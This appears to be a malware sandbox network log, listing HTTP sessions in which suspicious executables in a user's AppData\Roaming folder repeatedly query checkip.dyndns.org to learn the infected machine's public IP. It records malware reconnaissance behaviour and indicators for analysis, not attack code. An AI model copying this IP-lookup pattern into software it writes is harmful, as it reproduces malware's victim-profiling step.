Aug 13, 2024 20:24:37.311693907 CEST	1236	IN	Data Raw: 11 04 45 0c 00 00 00 3d 00 00 00 88 00 00 00 58 00 00 00 88 00 00 00 0b 00 00 00 81 00 00 00 36 00 00 00 3d 00 00 00 00 00 00 00 13 00 00 00 6d 00 00 00 6d 00 00 00 d0 2d 00 00 06 26 1a 13 04 2b be 16 0a 1f 09 13 04 2b b6 03 02 61 1f 0d 59 06 61 Data Ascii: E=X6=mm-&++aYaE 1Y+++( gXY8qX%ZX8\]-8O;+u88}$}%(+(20]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49166	158.101.44.242	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:45.808808088 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:24:46.440718889 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 56cec0bf300908b11d092cb1850f20db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:46.618900061 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 56cec0bf300908b11d092cb1850f20db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:47.210365057 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:47.409513950 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ff0eb99a6dfa77c7ebc699ad59351b7d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:47.619086981 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ff0eb99a6dfa77c7ebc699ad59351b7d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:49.747220039 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:49.919338942 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:49 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8fd8e363e8dd2f1d57f82b96946683df Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:50.130877972 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:49 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8fd8e363e8dd2f1d57f82b96946683df Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	193.122.130.0	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:51.603991032 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:52.089013100 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:52 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fbeb8a6a337909399d6762c9843b814b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:52.301074028 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:52 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fbeb8a6a337909399d6762c9843b814b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49171	193.122.130.0	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:53.001559019 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:53.459078074 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:53 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8532cb543857205b0b5fe13fdd825c33 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:53.666979074 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:53 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8532cb543857205b0b5fe13fdd825c33 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49173	158.101.44.242	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:54.363729954 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:54.947009087 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:54 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 55fd7faebf9777aadaa69826141967d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:55.151087999 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:54 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 55fd7faebf9777aadaa69826141967d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49175	193.122.6.168	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:56.312563896 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:56.965333939 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:56 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dafe15f829fefa575cb91340d295f6ef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:57.178963900 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:56 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dafe15f829fefa575cb91340d295f6ef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49177	132.226.247.73	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:58.500109911 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:59.179740906 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:59 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2fd07161d190e4874bcd60fb4b3816ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:59.390923977 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:59 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2fd07161d190e4874bcd60fb4b3816ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49178	158.101.44.242	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:58.649527073 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:24:59.379631042 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:59 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1d24f5dfc7c6a80adb608014d6b1a500 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:24:59.402529955 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:24:59.558949947 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:59 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4518770b963d7e6c3cae8719af6dae25 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:00.388864994 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:25:01.382674932 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:01 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e879407e436a69812c4b71d93273ccdf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49181	132.226.8.169	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:00.011382103 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:25:03.663494110 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:03 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:03.874996901 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:03 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49183	132.226.8.169	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:02.045598030 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:25:13.230700970 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:14.412420988 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:14.413281918 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:14.413945913 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49185	193.122.6.168	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:04.384572029 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49187	132.226.8.169	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:14.589778900 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:16.753338099 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:16.753515005 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49189	132.226.8.169	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
